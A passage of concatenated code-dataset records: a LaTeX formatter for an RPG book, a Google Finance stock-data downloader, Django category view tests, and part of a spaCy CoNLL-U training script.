the [i] gets us roman numerals in the enumeration\n self.latex_file.write(\"\\\\begin{enumerate}[i.]\\n\")\n return\n\n def end_enumeration(self, enumeration):\n self.latex_file.write(\"\\\\end{enumerate}\\n\")\n return\n\n def start_descriptions(self, description_list):\n self.latex_file.write(\"\\\\begin{description}\\n\")\n return\n\n def end_descriptions(self, description_list):\n self.latex_file.write(\"\\\\end{description}\\n\")\n return\n\n def start_list_item(self, list_item):\n self.latex_file.write(\"\\\\item \")\n self.latex_file.write(list_item.text)\n return\n\n def end_list_item(self, list_item):\n return\n\n def start_description(self, description):\n self.latex_file.write(\"%s\" % description.text)\n return\n\n def end_description(self, list_item):\n return\n\n def start_description_term(self, term):\n self.latex_file.write(\"\\\\item[%s]\" % term.text)\n return\n\n def end_description_term(self, list_item):\n return\n\n\n def start_list(self, list_element):\n self.latex_file.write(\"\\\\begin{itemize}\\n\")\n return\n\n def end_list(self, list_element):\n self.latex_file.write(\"\\\\end{itemize}\\n\")\n return\n\n def start_list_item(self, list_item):\n self.latex_file.write(\"\\\\item \")\n self.latex_file.write(list_item.text)\n return\n\n def end_list_item(self, list_item):\n return\n\n def start_comment(self, comment):\n return\n\n def end_comment(self, comment):\n return\n\n\n\n def start_table(self, table):\n\n # we need to work out in advance the table layout (e.g. |c|c|c| or whatever).\n header = table.find(\"tableheader\")\n table_spec = \"\"\n self._number_of_columns_in_table = 0\n self._current_column_in_table = 0\n self._current_row_in_table = 0\n\n for child in header.iterchildren():\n assert child.tag == \"td\" \n self._number_of_columns_in_table += 1\n width = child.get(\"width\")\n if width == \"fit\":\n table_spec += \"p{\\\\widthof{child.text}}\"\n else:\n table_spec += \"X\"\n\n self.latex_file.write(\"\\\\begin{table}\\n\")\n self.latex_file.write(\"\\\\begin{tabularx}{0.9\\\\linewidth}{%s} \\\\toprule\\n\" % table_spec)\n return\n\n def end_table(self, table):\n self.latex_file.write(\"\\\\bottomrule \\n\"\n \"\\\\end{tabularx}\\n\"\n \"\\n\")\n\n table_title = table.find(\"tabletitle\")\n self.latex_file.write(\"\\\\caption{%s}\\n\" % table_title.text) \n self.latex_file.write(\"\\\\end{table}\\n\") \n return\n\n ## def start_table_title(self, table_of_contents):\n ## self.latex_file.write(\"\\\\begin{rpgtable}\\n\")\n ## return\n\n start_table_title = no_op\n end_table_title = no_op\n ## def end_table_title(self, table_title):\n ## #self.latex_file.write(\"\\\\caption{%s}\\n\" % table_title.text)\n ## return\n\n def start_table_header(self, table_header):\n self.latex_file.write(\"\\\\rowcolor{blue!33} \\n\")\n return\n\n def end_table_header(self, table_header):\n self.latex_file.write(\" \\\\\\\\\\n\")\n #self.latex_file.write(\"\\\\caption{%s}\\n\" % table_title.text)\n return\n\n\n def start_table_row(self, table_of_contents):\n self._current_row_in_table += 1\n\n if (self._current_row_in_table + 1) % 2 == 1: \n self.latex_file.write(\"\\\\rowcolor{blue!20} \\n\")\n else:\n #self.latex_file.write(\"\\\\rowcolor{yellow!50} \\n\")\n pass\n return\n\n def end_table_row(self, table_title):\n self.latex_file.write(\" \\\\\\\\\\n\")\n #self.latex_file.write(\"\\\\caption{%s}\\n\" % table_title.text)\n return\n\n def start_table_data(self, table_data):\n\n self._current_column_in_table = (\n (self._current_column_in_table + 1) % self._number_of_columns_in_table)\n\n if self._current_row_in_table == 0:\n self.latex_file.write(\"\\\\rpgtableheader{%s} \\n\" %\n table_data.text)\n else:\n self.latex_file.write(\"%s\" % table_data.text)\n\n if self._current_column_in_table != 0:\n self.latex_file.write(\" & \\n\")\n \n return\n\n end_table_data = no_op\n ## def (self, table_title):\n ## #self.latex_file.write(\"\\\\caption{%s}\\n\" % table_title.text)\n ## return\n\n\n def start_table_of_contents(self, table_of_contents):\n self.latex_file.write(\"\\\\tableofcontents\\n\")\n return\n\n def end_table_of_contents(self, table_of_contents):\n return\n\n def start_list_of_figures(self, list_of_figures):\n self.latex_file.write(\"\\\\listoffigures\\n\")\n return\n\n def end_list_of_figures(self, list_of_figures):\n return\n\n def start_list_of_tables(self, list_of_tables):\n self.latex_file.write(\"\\\\listoftables\\n\")\n return\n\n def end_list_of_tables(self, list_of_tables):\n return\n\n def start_combat_symbol(self, combat_symbol):\n #self.latex_file.write(\"\\\\rpgcombatsymbol\\\\ %s\" % combat_symbol.tail)\n self.latex_file.write(\"\\\\rpgcombatsymbol\\\\ \")\n return\n end_combat_symbol = no_op\n\n def start_training_symbol(self, training_symbol):\n #self.latex_file.write(\"\\\\rpgtrainingsymbol\\\\ %s\" % training_symbol.tail)\n self.latex_file.write(\"\\\\rpgtrainingsymbol\\\\ \")\n return\n end_training_symbol = no_op\n\n def start_learning_symbol(self, learning_symbol):\n #self.latex_file.write(\"\\\\rpglearningsymbol\\\\ %s\" % learning_symbol.tail)\n self.latex_file.write(\"\\\\rpglearningsymbol\\\\ \")\n return\n end_learning_symbol = no_op\n\n\n\n def start_success(self, success):\n #self.latex_file.write(\"\\\\rpgsuccess\\\\ %s\" % success.tail)\n self.latex_file.write(\"\\\\rpgsuccess\\\\ \")\n return\n end_success = no_op\n\n def start_fail(self, fail):\n #self.latex_file.write(\"\\\\rpgfail\\\\ %s\" % fail.tail)\n self.latex_file.write(\"\\\\rpgfail\\\\ \")\n return\n end_fail = no_op\n\n\n def start_unknown(self, unknown):\n raise Exception(\"UNKNOWN (%s) %s\\n\" % (unknown.tag, str(unknown)))\n return\n\n def end_unknown(self, unknown):\n raise Exception(\"UNKNOWN (%s) %s\\n\" % (unknown.tag, str(unknown)))\n return\n\n def start_vspace(self, vspace):\n self.latex_file.write(\"\\\\vspace{%s\\drop}\\n\" % int(vspace.text))\n return\n\n def end_vspace(self, vspace):\n return\n", "sub_path": "src/latex_formatter.py", "file_name": "latex_formatter.py", "file_ext": "py", "file_size_in_byte": 31771, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "zope.interface.verify.verifyObject", "line_number": 61, "usage_type": "call"}, {"api_name": "i_formatter.IFormatter", "line_number": 61, "usage_type": "argument"}, {"api_name": "settings.paper_size", "line_number": 72, "usage_type": "attribute"}, {"api_name": "settings.paper_size", "line_number": 74, "usage_type": "attribute"}, {"api_name": "settings.display_page_background", "line_number": 321, "usage_type": "attribute"}, {"api_name": "settings.print_design_notes", "line_number": 636, "usage_type": "attribute"}, {"api_name": "settings.print_provenence_notes", "line_number": 650, "usage_type": "attribute"}, {"api_name": "settings.print_provenence_notes", "line_number": 660, "usage_type": "attribute"}, {"api_name": "settings.debug_outline_images", "line_number": 705, "usage_type": "attribute"}, {"api_name": "settings.debug_outline_images", "line_number": 712, "usage_type": "attribute"}]} +{"seq_id": "412445997", "text": "__author__ = 'Julien Heck'\n\n\"\"\"\nGoogleFinance.py\nGoogleFinance class\n\"\"\"\n\nimport urllib.request\nimport datetime\nimport logging\n\nclass GoogleFinance:\n \"\"\"\n Connect to google finance url and download stock data\n \"\"\"\n\n def __init__(self, symbol=None, start_date=None):\n \"\"\"\n Class constructor\n :param symbol: string of stock symbol\n :param start_date: struct_time object, start date of the stock data\n :return:\n \"\"\"\n self.symbol = symbol.upper()\n self.start_date = start_date\n # Create URL based on parameters symbol and start_date\n self.base_url = \"http://www.google.com/finance/historical?q=\"\n logging.info(\"GoogleFinance instance created for {0} stocks starting from {1}-{2}-{3}\"\n .format(self.symbol, self.start_date.tm_year, self.start_date.tm_mon, self.start_date.tm_mday))\n\n def get_historical_data(self, filename=None):\n \"\"\"\n :param filename: string of file name of output data\n :return: write data retrieved from base_url to filename\n \"\"\"\n today_date = datetime.datetime.today().date()\n success = True\n # Create URL string based on symbol, start date and today's date\n try:\n start_date_str = \"{0}-{1}-{2}\".format(self.start_date.tm_year, self.start_date.tm_mon, self.start_date.tm_mday)\n url_str = (self.base_url + self.symbol + \"&startdate=\"\n + start_date_str\n + \"&enddate={}\".format(today_date) + \"&output=csv\")\n logging.info(\"Accessing url: {0}\".format(url_str))\n # Connect to URL and download data\n url_data = urllib.request.urlopen(url_str)\n csv = (url_data.read()).decode(\"utf-8-sig\").encode(\"utf-8\")\n except:\n message = \"Failed to connect to URL\"\n print(message)\n logging.error(message)\n success = False\n # Write output to file if file name is not null\n if filename is not None:\n try:\n parse_file = open(filename, \"w\")\n str_response = csv.decode('utf-8')\n print(str_response, file=parse_file)\n parse_file.close()\n except:\n message = \"Failed to open/write to file: {0}\".format(filename)\n print(message)\n logging.error(message)\n success = False\n return success", "sub_path": "Python Programming I/GoogleFinance.py", "file_name": "GoogleFinance.py", "file_ext": "py", "file_size_in_byte": 2451, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.info", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 44, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 46, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 46, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 46, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 51, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 63, "usage_type": "call"}]} +{"seq_id": "294910166", "text": "from django.core.urlresolvers import reverse\r\nfrom django.contrib.auth.models import User\r\n\r\nfrom epic.categories.constants import NO_CATEGORY\r\nfrom epic.categories.models import Category\r\nfrom epic.categories.models import CannotDeleteNoCategoryException\r\nfrom epic.core.test import CustomTestCase\r\nfrom epic.core.util.view_utils import *\r\nfrom epic.datarequests.models import DataRequest\r\nfrom epic.datasets.models import DataSet\r\nfrom epic.projects.models import Project\r\n\r\n\r\nclass ViewCategoriesTestCase(CustomTestCase):\r\n def setUp(self):\r\n self.view_categories_url = \\\r\n reverse('epic.categories.views.view_categories')\r\n \r\n def testNoCategoriesExist(self):\r\n Category.objects.all().delete()\r\n \r\n response = self.client.get(self.view_categories_url)\r\n self.assertContains(response,\r\n 'There are currently no categories available.')\r\n \r\n def testCategoriesExist(self):\r\n category = Category.objects.create(name='Test Category',\r\n description='Test Description')\r\n \r\n response = self.client.get(self.view_categories_url)\r\n self.assertContains(response, category.name)\r\n\r\nclass ViewItemsForCategoryTestCase(CustomTestCase):\r\n \r\n fixtures = ['categories_categories']\r\n \r\n def setUp(self):\r\n self.category1 = Category.objects.get(name='Test Category1')\r\n self.datasets = DataSet.objects.filter(category=self.category1)\r\n self.projects = Project.objects.filter(category=self.category1)\r\n self.datarequests = \\\r\n DataRequest.objects.filter(category=self.category1)\r\n \r\n self.view_all_items_url = reverse(\r\n 'epic.categories.views.view_items_for_category',\r\n kwargs={'category_id': self.category1.id})\r\n \r\n self.view_datasets_url = reverse(\r\n 'epic.categories.views.view_datasets_for_category',\r\n kwargs={'category_id': self.category1.id})\r\n \r\n self.view_projects_url = reverse(\r\n 'epic.categories.views.view_projects_for_category',\r\n kwargs={'category_id': self.category1.id})\r\n \r\n self.view_datarequests_url = reverse(\r\n 'epic.categories.views.view_datarequests_for_category',\r\n kwargs={'category_id': self.category1.id})\r\n \r\n def testInvalidCategory(self):\r\n invalid_all_items_for_category_url = reverse(\r\n 'epic.categories.views.view_items_for_category',\r\n kwargs={'category_id': 1337})\r\n all_items_response = \\\r\n self.client.get(invalid_all_items_for_category_url)\r\n self.assertStatusCodeIsAFailure(all_items_response.status_code)\r\n \r\n invalid_datasets_for_category_url = reverse(\r\n 'epic.categories.views.view_datasets_for_category',\r\n kwargs={'category_id': 1337})\r\n datasets_response = \\\r\n self.client.get(invalid_datasets_for_category_url)\r\n self.assertStatusCodeIsAFailure(datasets_response.status_code)\r\n \r\n invalid_projects_for_category_url = reverse(\r\n 'epic.categories.views.view_projects_for_category',\r\n kwargs={'category_id': 1337})\r\n projects_response = \\\r\n self.client.get(invalid_projects_for_category_url)\r\n self.assertStatusCodeIsAFailure(projects_response.status_code)\r\n \r\n invalid_datarequests_for_category_url = reverse(\r\n 'epic.categories.views.view_datarequests_for_category',\r\n kwargs={'category_id': 1337})\r\n datarequests_response = \\\r\n self.client.get(invalid_datarequests_for_category_url)\r\n self.assertStatusCodeIsAFailure(datarequests_response.status_code)\r\n \r\n \"\"\"\r\n NOTE: these tests will fail once we implement pagination,\r\n since not all items will be displayed on the first page.\r\n \"\"\"\r\n \r\n def testAllItemsInValidCategory(self):\r\n datasets = self.datasets.all()\r\n projects = self.projects.all()\r\n datarequests = self.projects.all()\r\n \r\n response = self.client.get(self.view_all_items_url)\r\n \r\n for dataset in datasets:\r\n self.assertContains(response, dataset.name)\r\n \r\n for project in projects:\r\n self.assertContains(response, project.name)\r\n \r\n for datarequest in datarequests:\r\n self.assertContains(response, datarequest.name)\r\n \r\n def testDatasetsInValidCategory(self):\r\n datasets = list(self.datasets.all())\r\n \r\n response = self.client.get(self.view_datasets_url)\r\n \r\n for dataset in datasets:\r\n self.assertContains(response, dataset.name)\r\n\r\n def testDataRequestsInValidCategory(self):\r\n datarequests = list(self.datarequests.all())\r\n \r\n response = self.client.get(self.view_datarequests_url)\r\n \r\n for datarequest in datarequests:\r\n self.assertContains(response, datarequest.name)\r\n\r\n def testProjectsInValidCategory(self):\r\n projects = list(self.projects.all())\r\n \r\n response = self.client.get(self.view_projects_url)\r\n \r\n for project in projects:\r\n self.assertContains(response, project.name)\r\n \r\nclass CategoryTemplateTagsTestCase(CustomTestCase):\r\n fixtures = ['categories_categories']\r\n \r\n def setUp(self):\r\n self.category1 = Category.objects.get(name='Test Category1')\r\n self.category2 = Category.objects.get(name='Test Category2')\r\n self.dataset = DataSet.objects.active()[0]\r\n self.project = Project.objects.active()[0]\r\n self.datarequest = DataRequest.objects.active()[0]\r\n \r\n self.view_categories_url = \\\r\n reverse('epic.categories.views.view_categories')\r\n \r\n self.view_all_items_url = reverse(\r\n 'epic.categories.views.view_items_for_category',\r\n kwargs={'category_id': self.category1.id})\r\n \r\n self.view_dataset_url = \\\r\n get_item_url(self.dataset, 'epic.datasets.views.view_dataset')\r\n \r\n self.view_project_url = \\\r\n get_item_url(self.project, 'epic.projects.views.view_project')\r\n \r\n self.view_datarequest_url = get_item_url(\r\n self.datarequest, 'epic.datarequests.views.view_datarequest')\r\n \r\n def testCategories(self):\r\n response = self.client.get(self.view_categories_url)\r\n self.assertStatusCodeIsASuccess(response.status_code)\r\n self.assertContains(response, self.category1.name)\r\n self.assertContains(response, self.category2.name)\r\n \r\n def testCategoryListingInItemHeaders(self):\r\n view_category_url = '' % self.view_all_items_url\r\n \r\n dataset_response = self.client.get(self.view_dataset_url)\r\n self.assertContains(dataset_response, view_category_url)\r\n \r\n project_response = self.client.get(self.view_project_url)\r\n self.assertContains(project_response, view_category_url)\r\n \r\n datarequest_response = self.client.get(self.view_datarequest_url)\r\n self.assertContains(datarequest_response, view_category_url)\r\n\r\nclass DeleteCategoryTestCase(CustomTestCase):\r\n fixtures = ['categories_categories']\r\n \r\n def setUp(self):\r\n self.bob = User.objects.get(username='bob')\r\n self.category = Category.objects.create(name='category1',\r\n description='category2')\r\n self.dataset_name = 'a38yyth'\r\n self.dataset_description = 'asd09g4h6'\r\n self.dataset = DataSet.objects.create(\r\n name=self.dataset_name,\r\n description=self.dataset_description,\r\n category=self.category,\r\n creator=self.bob)\r\n \r\n def testDeleting(self):\r\n # I've overwritten the delete method so make sure that\r\n # deleting a category won't delete the dataset attached to it.\r\n self.category.delete()\r\n \r\n try:\r\n dataset = DataSet.objects.get(\r\n name=self.dataset_name,\r\n description=self.dataset_description,\r\n creator=self.bob)\r\n except DataSet.DoesNotExist:\r\n self.fail()\r\n \r\n def testDeletingNoCategory(self):\r\n no_category = Category.objects.get(name=NO_CATEGORY)\r\n test_passed = False\r\n \r\n try:\r\n no_category.delete()\r\n except CannotDeleteNoCategoryException:\r\n test_passed = True\r\n \r\n self.failIfNot(test_passed)\r\n", "sub_path": "tags/epic/sprint3_2010-04-08/categories/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 8669, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "epic.core.test.CustomTestCase", "line_number": 14, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 17, "usage_type": "call"}, {"api_name": "epic.categories.models.Category.objects.all", "line_number": 20, "usage_type": "call"}, {"api_name": "epic.categories.models.Category.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "epic.categories.models.Category", "line_number": 20, "usage_type": "name"}, {"api_name": "epic.categories.models.Category.objects.create", "line_number": 27, "usage_type": "call"}, {"api_name": "epic.categories.models.Category.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "epic.categories.models.Category", "line_number": 27, "usage_type": "name"}, {"api_name": "epic.core.test.CustomTestCase", "line_number": 33, "usage_type": "name"}, {"api_name": "epic.categories.models.Category.objects.get", "line_number": 38, "usage_type": "call"}, {"api_name": "epic.categories.models.Category.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "epic.categories.models.Category", "line_number": 38, "usage_type": "name"}, {"api_name": "epic.datasets.models.DataSet.objects.filter", "line_number": 39, "usage_type": "call"}, {"api_name": "epic.datasets.models.DataSet.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "epic.datasets.models.DataSet", "line_number": 39, "usage_type": "name"}, {"api_name": "epic.projects.models.Project.objects.filter", "line_number": 40, "usage_type": "call"}, {"api_name": "epic.projects.models.Project.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "epic.projects.models.Project", "line_number": 40, "usage_type": "name"}, {"api_name": "epic.datarequests.models.DataRequest.objects.filter", "line_number": 42, "usage_type": "call"}, {"api_name": "epic.datarequests.models.DataRequest.objects", "line_number": 42, "usage_type": "attribute"}, {"api_name": "epic.datarequests.models.DataRequest", "line_number": 42, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 44, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 48, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 52, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 56, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 61, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 68, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 75, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 82, "usage_type": "call"}, {"api_name": "epic.core.test.CustomTestCase", "line_number": 134, "usage_type": "name"}, {"api_name": "epic.categories.models.Category.objects.get", "line_number": 138, "usage_type": "call"}, {"api_name": "epic.categories.models.Category.objects", "line_number": 138, "usage_type": "attribute"}, {"api_name": "epic.categories.models.Category", "line_number": 138, "usage_type": "name"}, {"api_name": "epic.categories.models.Category.objects.get", "line_number": 139, "usage_type": "call"}, {"api_name": "epic.categories.models.Category.objects", "line_number": 139, "usage_type": "attribute"}, {"api_name": "epic.categories.models.Category", "line_number": 139, "usage_type": "name"}, {"api_name": "epic.datasets.models.DataSet.objects.active", "line_number": 140, "usage_type": "call"}, {"api_name": "epic.datasets.models.DataSet.objects", "line_number": 140, "usage_type": "attribute"}, {"api_name": "epic.datasets.models.DataSet", "line_number": 140, "usage_type": "name"}, {"api_name": "epic.projects.models.Project.objects.active", "line_number": 141, "usage_type": "call"}, {"api_name": "epic.projects.models.Project.objects", "line_number": 141, "usage_type": "attribute"}, {"api_name": "epic.projects.models.Project", "line_number": 141, "usage_type": "name"}, {"api_name": "epic.datarequests.models.DataRequest.objects.active", "line_number": 142, "usage_type": "call"}, {"api_name": "epic.datarequests.models.DataRequest.objects", "line_number": 142, "usage_type": "attribute"}, {"api_name": "epic.datarequests.models.DataRequest", "line_number": 142, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 145, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 147, "usage_type": "call"}, {"api_name": "epic.core.test.CustomTestCase", "line_number": 178, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 182, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 182, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 182, "usage_type": "name"}, {"api_name": "epic.categories.models.Category.objects.create", "line_number": 183, "usage_type": "call"}, {"api_name": "epic.categories.models.Category.objects", "line_number": 183, "usage_type": "attribute"}, {"api_name": "epic.categories.models.Category", "line_number": 183, "usage_type": "name"}, {"api_name": "epic.datasets.models.DataSet.objects.create", "line_number": 187, "usage_type": "call"}, {"api_name": "epic.datasets.models.DataSet.objects", "line_number": 187, "usage_type": "attribute"}, {"api_name": "epic.datasets.models.DataSet", "line_number": 187, "usage_type": "name"}, {"api_name": "epic.datasets.models.DataSet.objects.get", "line_number": 199, "usage_type": "call"}, {"api_name": "epic.datasets.models.DataSet.objects", "line_number": 199, "usage_type": "attribute"}, {"api_name": "epic.datasets.models.DataSet", "line_number": 199, "usage_type": "name"}, {"api_name": "epic.datasets.models.DataSet.DoesNotExist", "line_number": 203, "usage_type": "attribute"}, {"api_name": "epic.datasets.models.DataSet", "line_number": 203, "usage_type": "name"}, {"api_name": "epic.categories.models.Category.objects.get", "line_number": 207, "usage_type": "call"}, {"api_name": "epic.categories.models.Category.objects", "line_number": 207, "usage_type": "attribute"}, {"api_name": "epic.categories.models.Category", "line_number": 207, "usage_type": "name"}, {"api_name": "epic.categories.constants.NO_CATEGORY", "line_number": 207, "usage_type": "name"}, {"api_name": "epic.categories.models.CannotDeleteNoCategoryException", "line_number": 212, "usage_type": "name"}]} +{"seq_id": "227061763", "text": "'''Train for CONLL 2017 UD treebank evaluation. Takes .conllu files, writes\n.conllu format for development data, allowing the official scorer to be used.\n'''\nfrom __future__ import unicode_literals\nimport plac\nimport tqdm\nimport re\nimport sys\nimport spacy\nimport spacy.util\nfrom spacy.tokens import Doc\nfrom spacy.gold import GoldParse, minibatch\nfrom spacy.syntax.nonproj import projectivize\nfrom collections import Counter\nfrom timeit import default_timer as timer\n\nimport random\nimport numpy.random\n\nfrom spacy._align import align\n\nrandom.seed(0)\nnumpy.random.seed(0)\n\ndef prevent_bad_sentences(doc):\n '''This is an example pipeline component for fixing sentence segmentation\n mistakes. The component sets is_sent_start to False, which means the\n parser will be prevented from making a sentence boundary there. The\n rules here aren't necessarily a good idea.'''\n for token in doc[1:]:\n if token.nbor(-1).text == ',':\n token.is_sent_start = False\n elif not token.nbor(-1).whitespace_:\n token.is_sent_start = False\n elif not token.nbor(-1).is_punct:\n token.is_sent_start = False\n elif token.nbor(-1).is_left_punct:\n token.is_sent_start = False\n return doc\n\n\ndef load_model(lang):\n '''This shows how to adjust the tokenization rules, to special-case\n for ways the CoNLLU tokenization differs. We need to get the tokenizer\n accuracy high on the various treebanks in order to do well. If we don't\n align on a content word, all dependencies to and from that word will\n be marked as incorrect.\n '''\n English = spacy.util.get_lang_class(lang)\n English.Defaults.token_match = re.compile(r'=+|!+|\\?+|\\*+|_+').match\n nlp = English()\n nlp.tokenizer.add_special_case('***', [{'ORTH': '***'}])\n nlp.tokenizer.add_special_case(\"):\", [{'ORTH': \")\"}, {\"ORTH\": \":\"}])\n nlp.tokenizer.add_special_case(\"and/or\", [{'ORTH': \"and\"}, {\"ORTH\": \"/\"}, {\"ORTH\": \"or\"}])\n nlp.tokenizer.add_special_case(\"non-Microsoft\", [{'ORTH': \"non-Microsoft\"}])\n nlp.tokenizer.add_special_case(\"mis-matches\", [{'ORTH': \"mis-matches\"}])\n nlp.tokenizer.add_special_case(\"X.\", [{'ORTH': \"X\"}, {\"ORTH\": \".\"}])\n nlp.tokenizer.add_special_case(\"b/c\", [{'ORTH': \"b/c\"}])\n return nlp\n \n\ndef get_token_acc(docs, golds):\n '''Quick function to evaluate tokenization accuracy.'''\n miss = 0\n hit = 0\n for doc, gold in zip(docs, golds):\n for i in range(len(doc)):\n token = doc[i]\n align = gold.words[i]\n if align == None:\n miss += 1\n else:\n hit += 1\n return miss, hit\n\n\ndef golds_to_gold_tuples(docs, golds):\n '''Get out the annoying 'tuples' format used by begin_training, given the\n GoldParse objects.'''\n tuples = []\n for doc, gold in zip(docs, golds):\n text = doc.text\n ids, words, tags, heads, labels, iob = zip(*gold.orig_annot)\n sents = [((ids, words, tags, heads, labels, iob), [])]\n tuples.append((text, sents))\n return tuples\n\ndef split_text(text):\n return [par.strip().replace('\\n', ' ')\n for par in text.split('\\n\\n')]\n \n\ndef read_data(nlp, conllu_file, text_file, raw_text=True, oracle_segments=False,\n limit=None):\n '''Read the CONLLU format into (Doc, GoldParse) tuples. If raw_text=True,\n include Doc objects created using nlp.make_doc and then aligned against\n the gold-standard sequences. If oracle_segments=True, include Doc objects\n created from the gold-standard segments. At least one must be True.'''\n if not raw_text and not oracle_segments:\n raise ValueError(\"At least one of raw_text or oracle_segments must be True\")\n paragraphs = split_text(text_file.read())\n conllu = read_conllu(conllu_file)\n # sd is spacy doc; cd is conllu doc\n # cs is conllu sent, ct is conllu token\n docs = []\n golds = []\n for doc_id, (text, cd) in enumerate(zip(paragraphs, conllu)):\n doc_words = []\n doc_tags = []\n doc_heads = []\n doc_deps = []\n doc_ents = []\n for cs in cd:\n sent_words = []\n sent_tags = []\n sent_heads = []\n sent_deps = []\n for id_, word, lemma, pos, tag, morph, head, dep, _1, _2 in cs:\n if '.' in id_:\n continue\n if '-' in id_:\n continue\n id_ = int(id_)-1\n head = int(head)-1 if head != '0' else id_\n sent_words.append(word)\n sent_tags.append(tag)\n sent_heads.append(head)\n sent_deps.append('ROOT' if dep == 'root' else dep)\n if oracle_segments:\n sent_heads, sent_deps = projectivize(sent_heads, sent_deps)\n docs.append(Doc(nlp.vocab, words=sent_words))\n golds.append(GoldParse(docs[-1], words=sent_words, heads=sent_heads,\n tags=sent_tags, deps=sent_deps,\n entities=['-']*len(sent_words)))\n for head in sent_heads:\n doc_heads.append(len(doc_words)+head)\n doc_words.extend(sent_words)\n doc_tags.extend(sent_tags)\n doc_deps.extend(sent_deps)\n doc_ents.extend(['-']*len(sent_words))\n # Create a GoldParse object for the sentence\n doc_heads, doc_deps = projectivize(doc_heads, doc_deps)\n if raw_text:\n docs.append(nlp.make_doc(text))\n golds.append(GoldParse(docs[-1], words=doc_words, tags=doc_tags,\n heads=doc_heads, deps=doc_deps,\n entities=doc_ents))\n if limit and doc_id >= limit:\n break\n return docs, golds\n\n\ndef refresh_docs(docs):\n vocab = docs[0].vocab\n return [Doc(vocab, words=[t.text for t in doc],\n spaces=[t.whitespace_ for t in doc])\n for doc in docs]\n\n\ndef read_conllu(file_):\n docs = []\n doc = None\n sent = []\n for line in file_:\n if line.startswith('# newdoc'):\n if doc:\n docs.append(doc)\n doc = []\n elif line.startswith('#'):\n continue\n elif not line.strip():\n if sent:\n if doc is None:\n docs.append([sent])\n else:\n doc.append(sent)\n sent = []\n else:\n sent.append(line.strip().split())\n if sent:\n if doc is None:\n docs.append([sent])\n else:\n doc.append(sent)\n if doc:\n docs.append(doc)\n return docs\n\n\ndef parse_dev_data(nlp, text_loc, conllu_loc, oracle_segments=False,\n joint_sbd=True):\n with open(text_loc) as text_file:\n with open(conllu_loc) as conllu_file:\n docs, golds = read_data(nlp, conllu_file, text_file,\n oracle_segments=oracle_segments)\n if joint_sbd:\n pass\n else:\n sbd = nlp.create_pipe('sentencizer')\n for doc in docs:\n doc = sbd(doc)\n for sent in doc.sents:\n sent[0].is_sent_start = True\n for word in sent[1:]:\n word.is_sent_start = False\n scorer = nlp.evaluate(zip(docs, golds))\n return docs, scorer\n\n\ndef print_progress(itn, losses, scorer):\n scores = {}\n for col in ['dep_loss', 'tag_loss', 'uas', 'tags_acc', 'token_acc',\n 'ents_p', 'ents_r', 'ents_f', 'cpu_wps', 'gpu_wps']:\n scores[col] = 0.0\n scores['dep_loss'] = losses.get('parser', 0.0)\n scores['ner_loss'] = losses.get('ner', 0.0)\n scores['tag_loss'] = losses.get('tagger', 0.0)\n scores.update(scorer.scores)\n tpl = '\\t'.join((\n '{:d}',\n '{dep_loss:.3f}',\n '{ner_loss:.3f}',\n '{uas:.3f}',\n '{ents_p:.3f}',\n '{ents_r:.3f}',\n '{ents_f:.3f}',\n '{tags_acc:.3f}',\n '{token_acc:.3f}',\n ))\n print(tpl.format(itn, **scores))\n\ndef print_conllu(docs, file_):\n for i, doc in enumerate(docs):\n file_.write(\"# newdoc id = {i}\\n\".format(i=i))\n for j, sent in enumerate(doc.sents):\n file_.write(\"# sent_id = {i}.{j}\\n\".format(i=i, j=j))\n file_.write(\"# text = {text}\\n\".format(text=sent.text))\n for k, t in enumerate(sent):\n if t.head.i == t.i:\n head = 0\n else:\n head = k + (t.head.i - t.i) + 1\n fields = [str(k+1), t.text, t.lemma_, t.pos_, t.tag_, '_',\n str(head), t.dep_.lower(), '_', '_']\n file_.write('\\t'.join(fields) + '\\n')\n file_.write('\\n')\n\n\ndef main(spacy_model, conllu_train_loc, text_train_loc, conllu_dev_loc, text_dev_loc,\n output_loc):\n nlp = load_model(spacy_model)\n vec_nlp = spacy.util.load_model('spacy/data/en_core_web_lg/en_core_web_lg-2.0.0')\n nlp.vocab.vectors = vec_nlp.vocab.vectors\n for lex in vec_nlp.vocab:\n _ = nlp.vocab[lex.orth_]\n with open(conllu_train_loc) as conllu_file:\n with open(text_train_loc) as text_file:\n docs, golds = read_data(nlp, conllu_file, text_file,\n oracle_segments=False, raw_text=True,\n limit=None)\n print(\"Create parser\")\n nlp.add_pipe(nlp.create_pipe('parser'))\n nlp.parser.add_multitask_objective('tag')\n 